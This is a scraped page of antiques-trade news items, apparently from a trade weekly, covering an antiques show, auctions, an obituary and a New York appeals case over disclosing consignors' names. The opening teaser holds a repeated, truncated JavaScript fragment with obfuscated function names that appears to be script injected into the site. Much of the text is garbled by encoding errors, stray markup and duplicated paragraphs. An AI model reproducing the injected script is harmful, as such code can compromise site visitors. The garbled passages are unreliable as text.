By: Frances McQueeney-Jones Mascolo       On December 2, Grogan & Company Fine Art Auctioneers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), […]

The York Antiques Show & Sale, one of the long-lasting antiques events in Pennsylvania, filled Memorial Hall East at the York Fairgrounds on February 1″, under the management of Melvin ⁂utch†Arion. This 160th semiannual show hosted 99 dealers, filling 96 booths with lots of furniture, pottery, fabrics, folk art, glass, paintings and a smattering of Twentieth Century objects.

⁉t was a really good auction,†stated auctioneer Steve Gass in regard to Trinity International Auctions†sale of more than 200 paintings on February 2. ⁗e had participation from people all over the world,†reported the auctioneer in the days following the sale. The auction house saw buyers from Russia, France, England and all across the United States bid enthusiastically from the start of the auction until the finish.

David Whitehouse, former executive director of the Corning Museum of Glass, died February 17, following a brief battle with cancer. He was 71.

It was a bit of good news for auction house owner William Jenack. ⁉ got a letter from my lawyer telling me the Court of Appeals will review the ruling,†said Jenack, recently returned stateside after some R&R abroad. ⁔he fact that the Court of Appeals is willing to review the issue,†continued Jenack, is ⁡ big step in its own right, as it usually only agrees to examine cases where there is merit.‼/dd:abstract>TradeTalktradetalkChester, N.Y.includestylesstyles.css

It was a bit of good news for auction house owner William Jenack. “I got a letter from my lawyer telling me the Court of Appeals will review the ruling,” said Jenack, recently returned stateside after some R&R abroad. “The fact that the Court of Appeals is willing to review the issue,” continued Jenack, is “a big step in its own right, as it usually only agrees to examine cases where there is merit.”

That review will be of a current law governing the contractual obligation to disclose sellers’ identities when property is consigned at auction.

Current trade practice many times has auction patrons bidding on an item that may be described as “from the collection of a distinguished gentleman” or “property of a lady,” a longstanding arrangement between auction houses and their consignors designed to protect anonymity. Reasons vary †family conflicts over inherited assets, embarrassment of debt or divorce or an institution that does not want to publicize a deaccession from its collection.

In September 2012, however, Judge Peter Skelos of the Supreme Court of the State of New York’s Appellate Division ruled that according to General Obligations Law 5-701, a legally recognized contract has to include the names of both buyer and seller.

Auction houses are upset at the decision because it could cause potential consignors to take their business out of state, where no such obligation is enforced. Under the current law, a buyer would be allowed to back out of the sale if the seller’s name was not provided.

The contentious issue arose in September 2008 when a silver and enamel box by Ivan Petrovich Khlebnikov was consigned to an auction at William J. Jenack Estate Appraisers and Auctioneers in Chester. (See Antiques and The Arts Weekly, December 7, 2012.)

Jenack and others argue that it is common practice for auction houses to assign a consignor number to each item. It is less cumbersome, and as long as there is an identifying code that can be matched with the consignor’s name, the system works and has been in use by auction houses for decades.

True, agreed Skelos, but “this Court is governed not by practice in the trade, but by the relevant statute, which it is bound to apply in accordance with foregoing rules of construction.” Without the name of the person on whose account the box was sold, the contract that any auction house has with a deadbeat bidder is not enforceable.

General industry practice may indeed point to a need to change the law, the judge concluded, but “consideration of the propriety of that change is not for the courts, but rests with the Legislature.”

If the current law is upheld by the Court of Appeals, however, Jenack added, “a real consideration is the issue of personal privacy. There’s a lot of talk now about Second Amendment rights, but what about a person’s right to privacy?”‘ Th

In celebration of a lifelong love affair that began with a royal wedding on February 14, 1613, the Museum of Fine Arts, Boston (MFA), unveiled ⁔riumph of the Winter Queen: Allegory of the Just,†1636, by Gerrit van Honthorst on Valentine⁳ Day.

During one of the most important and historically significantly estate auctions in the history of the United States, perhaps the world, President John F. Kennedy⁳ iconic leather bomber emblazoned with the Presidential seal sold for $655,550 during the sale of the David F. Powers estate this past Sunday, February 17, at John McInnis Auctioneers.

Mount Washington Lava, originally known as Sicilian glass, proved to be the most desirable ware at Jeffrey S. Evans & Associates†January 26 winter glass auction, with stellar prices realized for several different objects made in this manner. A bulbous-base vase done in shiny raspberry with multicolored inclusions and gilt trim, circa 1878‸0, realized the highest price of the day †$5,463.

� From the very beginning, photography was touted as the epitome of accuracy †hence, the long-time truism that ⁴he camera does not lie.†In fact, the practice of ⁤octoring†photographs has existed since the medium was invented. Nearly every type of manipulation we associate nowadays with digital photography †notably, Adobe⁳ Photoshop technological innovations †was also part of the medium⁳ pre-digital repertoire †multiple exposure, negative retouching, combination printing, photomontage. The history of these practices is explored in ⁆aking It: Manipulated Photography Before Photoshop,†on view at the National Gallery of Art, Washington, D.C., through May 5. Featured are some 200 visually fascinating photographs created from the 1840s-1990s in the service of art, news, entertainment, politics and commerce.�

BOSTON, MASS. — In celebration of a lifelong love affair that began with a royal wedding on February 14, 1613, the Museum of Fine Arts, Boston (MFA), unveiled “Triumph of […]